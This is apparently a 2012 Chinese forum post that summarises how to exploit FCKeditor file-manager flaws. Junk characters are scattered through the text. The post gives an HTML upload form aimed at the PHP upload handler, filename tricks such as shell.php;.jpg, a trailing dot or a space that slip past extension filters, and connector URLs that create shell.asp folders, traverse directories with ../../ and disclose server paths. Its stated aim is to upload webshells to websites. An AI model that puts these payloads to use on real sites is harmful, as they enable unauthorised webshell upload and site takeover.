Fckeditor漏洞利用总结 Y$ g5 p: w" R& @! }# n6 A2 v4 i
查看编辑器版本5 e+ Q$ G' y4 d c" p3 n) B
FCKeditor/_whatsnew.html
3 d: D/ W' v4 \" l7 S, m—————————————————————————————————————————————————————————————
' ^9 t8 e& @4 V: K/ {) T
2 b& Z3 {3 z$ G/ m2. Version 2.2 版本% E/ w- \: q7 l8 i& S, w/ V9 N
Apache+linux 环境下在上传文件后面加个.突破！测试通过。
* T( f$ g2 J6 m8 y: P" v————————————————————————————————————————————————————————————— v9 B8 n6 n$ W; Y
& u6 C8 n! ~3 @5 k! x5 \3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
! m- Z$ J, {2 t" ^7 c<form id="frmUpload" enctype="multipart/form-data"
, E1 F. ?1 u3 paction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
7 m. ?" m o9 r2 s<input type="file" name="NewFile" size="50"><br>
; C; C, U8 V2 [7 s% h<input id="btnUpload" type="submit" value="Upload">( y1 S0 E7 P2 a# C
</form>8 T+ ^/ `9 @& o5 }: s" ^
—————————————————————————————————————————————————————————————
' k0 k( V+ ]4 e
+ I8 J' [, |5 F( v" c5 a" _0 z! e4.FCKeditor 文件上传“.”变“_”下划线的绕过方法4 _0 H( K% m: E7 \3 A3 z0 Q& J: r# r
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
; h" ]" |3 D! T. ]. S 4.1：提交shell.php+空格绕过
4 H ^3 T; E$ a$ {. g ^不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。! q2 G) d( j- L$ o' u) X
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。2 N' t+ ?- Q* d0 K
—————————————————————————————————————————————————————————————' a: I' f5 |1 Z+ j) ]5 F
9 Z' E7 {5 L: t0 y; B
5. 突破建立文件夹
: ?1 U+ V3 q6 d: }( j3 y, @FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
" |$ L5 K: s1 E/ c$ L: L. AFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
$ s2 R1 w, z3 g$ b: u) [2 n6 i—————————————————————————————————————————————————————————————7 k/ q) \, t- L" O3 n$ N0 n
6 C0 q+ \" V- }- L1 @
6. FCKeditor 中test 文件的上传地址9 G9 {/ f6 F T Y- J
FCKeditor/editor/filemanager/browser/default/connectors/test.html) c* q7 U# |5 {( y( J
FCKeditor/editor/filemanager/upload/test.html4 c6 Y- _$ p5 D, L ]' H6 M7 \9 |
FCKeditor/editor/filemanager/connectors/test.html* x4 l4 h# y6 h% P1 t u* o# z
FCKeditor/editor/filemanager/connectors/uploadtest.html
: |* Z8 W2 `( Y! d4 \9 L—————————————————————————————————————————————————————————————. O/ a' V6 M+ s7 A& p0 G
5 N9 K) s8 E- P* }' A% Z* Y* G- a
7.常用上传地址
" V; f1 k& z: Z8 N, {FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
$ ]' F! ^+ S7 WFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp5 ]" {! |* B, |, C& |$ B
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过) t. Q6 J" V k8 j
JSP 版：
8 g u% I5 D# p5 l# v' _; yFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp6 u5 _( G4 M& L! n1 u
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文 w' }% ^4 [% h3 W
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。( j8 H! @6 `; ~4 ?8 U
—————————————————————————————————————————————————————————————
& Y' R; x7 X: A8 w/ b9 {3 F. F
8.其他上传地址
6 n7 A+ H' u; q9 kFCKeditor/_samples/default.html
6 w* A" C, a1 I* K& u$ \FCKeditor/_samples/asp/sample01.asp$ c+ S% v5 ?4 h" y$ \6 k) [7 I
FCKeditor/_samples/asp/sample02.asp. D; ]3 i/ ~" L6 F4 c# ^
FCKeditor/_samples/asp/sample03.asp1 X) o; F8 X2 p, X
FCKeditor/_samples/asp/sample04.asp) L+ Q7 x' O$ T" l/ {
一般很多站点都已删除_samples 目录，可以试试。
2 C" f2 ~; C9 P2 qFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。$ k7 |- W/ A W+ Q6 I+ E
—————————————————————————————————————————————————————————————
, J7 [ U7 M. Y8 k( T5 y6 p3 i0 l6 f3 K( Z9 g
9.列目录漏洞也可助找上传地址
8 c; e" y. q- p3 f" J, G% e2 JVersion 2.4.1 测试通过
: {& e: r8 @7 [6 E# E修改CurrentFolder 参数使用 ../../来进入不同的目录
# \3 Y7 W F3 i" [/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
. j1 A1 s* J9 L4 C根据返回的XML 信息可以查看网站所有的目录。
' H* L& q6 R/ e. O" uFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F5 D. V% k6 r \$ N+ W
也可以直接浏览盘符：9 d8 I: J5 e2 C" S
JSP 版本：
! n) } v5 T& b) @, p( k2 ^! bFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
1 q. p: p- }1 x" M1 H—————————————————————————————————————————————————————————————' K' s1 M4 Q" t
2 n$ t0 T6 Q1 G" {5 X( n0 b
10.爆路径漏洞
% {) v" ?# O& q, u' J0 P+ s/ tFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
1 |, Z/ Y1 f4 l) H' B—————————————————————————————————————————————————————————————7 r+ J0 q) k$ R2 b) B8 T
' ?, R3 p7 U1 J# N. ?11. FCKeditor 被动限制策略所导致的过滤不严问题: }& t! N, W' k* j( W
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
$ O' c) O# T. q, f脆弱描述：. F3 c# u9 v, S. N
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
. b6 B* {7 T3 v& q' bhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm) s' X- T1 ]5 w A+ Y( c1 h
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
0 i3 y& {# ?5 F) a- I3 y7 Y4 m8 z 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
$ ?5 a( g: ~0 Q2 a. `! K6 r 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!" Z9 @0 v J( h$ E0 C' g
————————————————————————————————————————————————————————————— {7 Q) n5 P, j& K' f
: ]2 A* o4 h* D
12.最古老的漏洞，Type文件没有限制！9 q' r# @% o3 v( b) I1 z0 y$ A/ E+ F
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！
. }) g- i' K8 a3 u' m8 k—————————————————————————————————————————————————————————————& ^" n% l: a) q: c, S4 \) E
+ C- e& J$ Q1 v* L2 f# H* @===============================================================================================================================================
) a/ B4 j7 S) B; f- T
1 |$ e& s# k( q4 A- T% d) ^FCK编辑器jsp版本漏洞：8 l( Z2 k6 r1 ]$ k# X' u8 _3 Q" K
5 z; M8 N% v+ s" e8 W+ U
7 u. f9 E! g6 J
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
3 d. s2 w( c, R0 Y* B$ A
5 ?( k4 w5 h+ C) F上传马所在目录
' M8 y% X0 g# L0 ?2 V* JFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4 O8 X2 p$ V% k+ G% H# {上传shell的地址:2 q! W: `$ k0 r) t, ?) T
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector& r; t7 g. g# W+ A
跟版本有关系.并不是百分百成功. 测试成功几个站.( W. i. J% f' S1 F2 g
不能通杀.很遗憾.; w4 h: \, T/ z* g# ~
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector9 I5 V$ V7 \! J; g$ _$ ?$ @
如果以上地址不行可以试试9 ~7 o2 t( n T
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
4 ^7 y5 ~ \- W! O8 q4 s2 ~* fFCKeditor/_samples/
N& ~1 N, |# c9 Z# LFCKeditor/_samples/default.html
1 ~* }8 Y) ~) ^( C) d( k8 rFCKeditor/editor/fckeditor.htm
2 x5 I" J9 X, o) |# iFCKeditor/editor/fckdialog.html
9 d9 t+ y7 ]7 U+ I/ E' {. s' ]( ~
: n6 `& o+ A6 @5 R! E5 {8 g: l4 R$ f* Z3 U
2 U" V; i, ` f解析漏洞+未重命名文件时上传漏洞 1.asp;jpg5 V& I o" Q& [- D3 H, \
|
发表于 2012-9-13 17:01:39
收藏
支持
反对